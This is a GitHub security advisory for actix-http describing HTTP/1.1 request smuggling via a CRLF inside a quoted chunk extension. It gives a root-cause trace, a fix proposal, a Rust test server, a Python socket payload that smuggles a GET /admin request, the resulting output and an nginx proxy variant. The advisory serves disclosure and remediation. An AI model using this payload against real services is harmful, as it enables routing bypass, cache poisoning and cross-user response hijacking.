# GHSA-9543-CJ4X-H76Q: actix-http: HTTP/1.1 request smuggling via CRLF inside quoted chunk extension

- Database: GitHub
- Severity: CVSS 6.3 (Medium)
- Published: 2026-11-16
- Modified: 2026-11-16

## Affected versions

- actix-http (crates.io): fixed in 3.21.3

## Description

### Summary

actix-http's chunked transfer-encoding parser does not implement RFC 9112 §7.1.1
quoted-string handling for chunk extensions. The read_extension state in
actix-http/src/h1/chunked.rs treats any unescaped CR byte as the end of the
chunk-size line, even when that CR appears inside a quoted chunk-extension
value. This lets a remote, unauthenticated client terminate the chunked body
early and smuggle a second, fully-formed HTTP request past the parser on the
same connection. Confirmed on actix-http 3.18.12 (via actix-web 4.15.0), both
standalone and behind nginx 1.18 with proxy_request_buffering off. Impact
ranges from request misrouting within a single app (standalone) to cross-user
response/cache poisoning when deployed behind a reverse proxy or CDN that
reuses backend connections.

### Details

Root cause

RFC 9112 §7.1.1 defines chunk extensions as:

  chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
  chunk-ext-val = token / quoted-string
  quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A compliant parser treats the contents of a quoted-string as opaque data: CR
and LF bytes inside the quotes are not framing. actix-http does not implement
this. The relevant code (actix-http/src/h1/chunked.rs, read_extension,
verified against the published source for 3.18.12):

  fn read_extension(rdr: &mut BytesMut) -> Poll<Result<ChunkedState, io::Error>> {
      match byte!(rdr) {
          b'\r' => Poll::Ready(Ok(ChunkedState::SizeLf)),
          // strictly 0x20 (space) should be disallowed but we don't parse quoted strings here
          0x00..=0x08 | 0x0a..=0x1f | 0x7f => Poll::Ready(Err(io::Error::new(
              io::ErrorKind::InvalidInput,
              "Invalid character in chunk extension",
          ))),
          _ => Poll::Ready(Ok(ChunkedState::Extension)), // no supported extensions
      }
  }

Any `\r` encountered while in the Extension state transitions straight to
SizeLf, regardless of whether a `"` was seen earlier. There is no in_quoted
tracking at all. The comment in the source itself documents the gap.

State trace for the PoC payload `0;x="\r\n\r\n`:

  '0'  -> SizeFirst/SizeRest, size = 0
  ';'  -> Extension
  'x','=','"' -> stay in Extension (default arm, no quote awareness)
  '\r' -> SizeLf   (should be a no-op inside quotes; it isn't)
  '\n' with size==0 -> EndCr
  '\r' -> EndLf
  '\n' -> End      (chunked body considered complete)

This closes the chunked body of the first request after only ~9 bytes of
"body", instead of waiting for a real terminating 0-size chunk with no
unterminated quote. Whatever bytes follow in the same TCP segment are then
parsed by actix-http as the next pipelined request.

Nothing upstream catches this. actix-http/src/h1/dispatcher.rs defines
MAX_PIPELINED_MESSAGES = 16, i.e. the dispatcher is explicitly built to read
and dispatch multiple requests found back to back in one read buffer, so the
leftover smuggled bytes are not discarded, they're served.

Existing test coverage gap

The current test suite for this file includes:
- chunk_extension_quoted: tests a quoted value with a space (`one="1 2 3"`),
  no CRLF inside the quotes.
- hrs_chunk_extension_invalid: tests a bare `\n` without a preceding `\r`,
  which the 0x0a..=0x1f range correctly rejects.

Neither test exercises a `\r\n` pair appearing inside a quoted extension
value, so this exact bypass is not currently guarded against.

Not the same as GHSA-xhj4-vrgc-hr34 (CVE-2026-73051). That issue was a CL.TE
desync from actix-http accepting conflicting Content-Length and
Transfer-Encoding headers, fixed in decoder.rs for 3.12.1. This issue is in
chunk-extension parsing (chunked.rs) and reproduces independently of that fix,
on 3.18.12, with Transfer-Encoding unambiguously and correctly declared as the
sole framing mechanism.

Suggested fix

read_extension needs real quoted-string handling:
- Recognize entry into a quoted chunk-ext-val (a `"` following `=`).
- Track an in_quoted state for the duration of that value.
- Treat `\r` and `\n` as ordinary data while in_quoted is set.
- Support `\` as an escape character per the quoted-pair production.
- Exit in_quoted only on an unescaped `"` or end of the header line.

This needs two extra state flags (e.g. in_quoted, escape_next) threaded
through the existing byte-at-a-time loop; no allocation or full grammar
required. As a cheaper interim mitigation, read_extension could instead
reject any unescaped CR/LF in the extension outright, in any context, which
would close this path even before proper quoted-string support lands, at the
cost of rejecting any legitimate quoted extension value that happens to embed
a CRLF.

### Proof of concept

Environment: actix-web 4.15.0, actix-http 3.18.12, Rust 1.99.0 stable
(x86_64-unknown-linux-gnu), Ubuntu 22.04, kernel 5.15. nginx 1.18.0 for the
proxy variant.

Cargo.toml:

  [package]
  name = "actix-smuggle"
  version = "0.1.0"
  edition = "2021"

  [dependencies]
  actix-web = "4"
  futures-util = "0.3"
  env_logger = "0.11"

src/main.rs:

  use actix_web::{web, App, HttpServer, HttpResponse, middleware::Logger};
  use futures_util::StreamExt;

  async fn echo(mut body: web::Payload) -> HttpResponse {
      let mut total = 0usize;
      let mut bytes = Vec::new();
      while let Some(chunk) = body.next().await {
          match chunk {
              Ok(data) => { total += data.len(); bytes.extend_from_slice(&data); }
              Err(e) => {
                  eprintln!("BODY ERROR: {:?}", e);
                  return HttpResponse::BadRequest().body(format!("err: {}", e));
              }
          }
      }
      eprintln!("POST /legit body received: {} bytes = {:?}", total,
                String::from_utf8_lossy(&bytes));
      HttpResponse::Ok().body(format!("got {} bytes", total))
  }

  async fn admin() -> HttpResponse {
      eprintln!(">>> GET /admin HANDLER FIRED <<<");
      HttpResponse::Ok().body("admin reached\n")
  }

  #[actix_web::main]
  async fn main() -> std::io::Result<()> {
      env_logger::init_from_env(env_logger::Env::default().default_filter_or("info"));
      println!("listening on 127.0.0.1:38099");
      HttpServer::new(|| {
          App::new()
              .wrap(Logger::default())
              .route("/legit", web::post().to(echo))
              .route("/admin", web::get().to(admin))
      })
      .bind(("127.0.0.1", 38099))?
      .run()
      .await
  }

Build and run:

  cargo build --release
  RUST_LOG=info ./target/release/actix-smuggle

Smuggling payload (84 bytes), sent as a single Python socket write:

  import socket

  payload = (
      b"POST /legit HTTP/1.1\r\n"
      b"Host: x\r\n"
      b"Transfer-Encoding: chunked\r\n"
      b"\r\n"
      b'0;x="\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\n\r\n'
  )

  s = socket.create_connection(("127.0.0.1", 38099), timeout=5)
  s.sendall(payload)
  s.settimeout(3)
  data = b""
  try:
      while True:
          c = s.recv(4096)
          if not c:
              break
          data += c
  except socket.timeout:
      pass
  print(data.decode(errors="replace"))

Standalone result, client receives two full HTTP responses from one
sendall():

  HTTP/1.1 200 OK
  content-length: 11
  date: Sat, 10 Oct 2026 14:05:13 GMT

  got 0 bytesHTTP/1.1 200 OK
  content-length: 14
  date: Sat, 10 Oct 2026 14:05:13 GMT

  admin reached

Server log:

  POST /legit body received: 0 bytes = ""
  [INFO] 127.0.0.1 "POST /legit HTTP/1.1" 200 11 "-" "-" 0.000047
  >>> GET /admin HANDLER FIRED <<<
  [INFO] 127.0.0.1 "GET /admin HTTP/1.1" 200 14 "-" "-" 0.000006

Behind nginx (deployment-realistic variant), nginx config:

  server {
      listen 8088;
      server_name _;
      client_max_body_size 100m;
      location / {
          proxy_pass http://127.0.0.1:38099;
          proxy_http_version 1.1;
          proxy_set_header Host $host;
          proxy_set_header Connection "";
          proxy_request_buffering off;
          proxy_buffering off;
      }
  }

Sending the identical payload to 127.0.0.1:8088 instead of :38099 produces
the identical two-response result. nginx forwards the raw bytes through
unchanged when request buffering is disabled, and actix-http re-parses them
on the backend. proxy_request_buffering off is a common production setting
for streaming uploads and low-latency APIs, not a contrived configuration.

### Impact

Class: HTTP/1.1 request smuggling (CWE-444), root cause is CRLF injection
(CWE-93) into a non-quote-aware chunk-extension parser.

Who is affected: any service built on actix-http (directly or via
actix-web) that accepts Transfer-Encoding: chunked request bodies. The
vulnerability requires no authentication and is triggered purely by an
unauthenticated remote request.

Standalone deployment (actix-http directly exposed, no reused backend
connections): impact is limited to the attacker smuggling a request to
themselves on their own connection. This can bypass path-based routing
within the app, reach handlers not named in the visible request line, or
cause self-inflicted cache poisoning on any caching middleware in the same
process. No cross-user impact in this configuration.

Behind a reverse proxy or load balancer that reuses backend HTTP/1.1
connections across different clients (common with connection pooling to a
backend pool): a smuggled request queued on a shared backend connection can
be served to the next legitimate client on that connection, or that
client's response can be returned to the attacker instead. This enables
response-queue poisoning, authorization bypass via desynced
Host/Authorization/X-Forwarded-* headers, and cache poisoning if any
intermediary caches on the visible request line. This is the deployment
where the bug becomes exploitable across users rather than just against
the attacker's own request.

Behind a caching CDN that forwards chunked request bodies to origin
without re-framing them: an attacker could potentially prime the cache
with a smuggled response served under the primary request's cache key,
affecting all users requesting that path. This scenario is reasoned from
general CDN behavior and has not been tested against a specific real CDN,
so I'd treat it as a plausible worst case rather than a confirmed result.

Note: this is a distinct root cause from GHSA-xhj4-vrgc-hr34 /
CVE-2026-73051 (CL.TE desync from conflicting Content-Length and
Transfer-Encoding headers, fixed in 3.12.1). This report reproduces on
3.18.12 with Transfer-Encoding chunked as the sole, unambiguous framing
mechanism.

## References

- https://github.com/actix/actix-web/security/advisories/GHSA-9543-cj4x-h76q

Page: https://cve.now/GHSA-9543-CJ4X-H76Q

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
